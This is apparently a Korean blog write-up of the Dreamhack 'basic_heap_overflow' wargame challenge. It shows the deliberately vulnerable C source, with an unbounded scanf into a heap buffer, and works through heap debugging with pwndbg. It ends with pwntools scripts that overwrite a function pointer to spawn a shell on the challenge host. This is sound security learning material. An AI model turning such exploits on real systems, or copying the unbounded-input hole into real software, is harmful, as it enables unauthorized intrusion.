2021. 8. 3. 01:31ㆍDreamhack Wargame
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
코드가 길어보이니 차근차근 해석해보겠습니다.
우선 0x20 크기의 힙 버퍼 ptr을 선언합니다.
그리고 크기 0x20의 힙 버퍼 over를 만들고 이를 구조체 over로 묶어줍니다.
그 후에 initialize() 함수를 실행합니다.
initialize(), table_func(), get_shell(), alarm_handler()
이렇게 4개의 함수들은 다 기능이 간단하기 때문에 한 줄로 간략하게 정리하겠습니다.
initialize() : 30초가 지나면 alarm_handler() 함수에게 시그널을 보냅니다.
alarm_handler() : "TIME OUT"이라는 문자열을 출력하고 프로그램을 종료시킵니다.
table_func() : "overwrite_me!"라는 문자열을 출력합니다.
get_shell() : 쉘을 따주는 함수입니다.
다시 main() 함수로 돌아오겠습니다.
구조체 포인터를 사용하여 table 안에 table_func()의 주소를 할당해줍니다.
그리고 힙 버퍼인 ptr에 문자열을 입력받습니다.
그런데 read가 아닌 scanf로 입력을 받고 있습니다.
길이를 지정해주지 않고 입력을 받으니 이 부분에서 Overflow가 발생합니다.
ptr의 크기가 0x20이니까 길이 0x20 이상의 무언가를 입력하면 over 값에 접근 할 수 있을 것 같습니다.
우선 Heap Buffer Overflow는 gdb로 메모리를 확인해보는게 좋으니 gdb로 파일을 열어보겠습니다.
두 개의 malloc() 함수가 보입니다.
각각 공간이 어떻게 할당되는지 확인해보겠습니다.
pwndbg 실행 중에 heap이라고 치면 현재 존재하는 heap의 상태를 출력해줍니다.
할당된 두 개의 heap을 보면 크기가 각각 0x29인걸 볼 수 있습니다.
이제 scanf() 함수로 입력을 받기 직전까지 간 다음에 heap 상태를 다시 확인하겠습니다.
[ STACK ] 부분에서 0x804b030 부분을 보면 table_func() 함수의 주소가 올라간걸 볼 수 있습니다.
저 주소를 get_shell() 함수의 주소로 덮는식으로 익스코드를 작성하면 문제가 풀릴 것 같습니다.
from pwn import *
p=remote("host1.dreamhack.games",18442)
e=ELF('./basic_heap_overflow')
getshell=e.symbols['get_shell']
pay='a'*0x29+p32(getshell)
p.sendline(pay)
p.interactive()
깔끔하게 정답일줄 알았는데 FLAG가 따지지 않습니다.
context.log_level='debug'를 코드 위에 넣고 어디가 잘못됐는지 확인해보겠습니다.
a가 한 칸 넘쳐서 제대로 실행이 되지 않았나봅니다.
a를 0x29가 아니라 0x28만큼 넣고 실행해보겠습니다.
from pwn import *
context.log_level='debug'
p=remote("host1.dreamhack.games",18442)
e=ELF('./basic_heap_overflow')
getshell=e.symbols['get_shell']
pay='a'*0x28+p32(getshell)
p.sendline(pay)
p.interactive()
heap 이론에 대해서 좀 더 공부를 해봐야 할 것 같습니다.
어렵네요.....
'Dreamhack Wargame' 카테고리의 다른 글
proxy-1 풀이 (0) | 2021.08.11 |
---|---|
basic_exploitation_003 풀이 (0) | 2021.08.04 |
basic_exploitation_002 풀이 (0) | 2021.08.02 |
basic_rop_x64 풀이 (0) | 2021.08.01 |
basic_rop_x86 풀이 (0) | 2021.07.31 |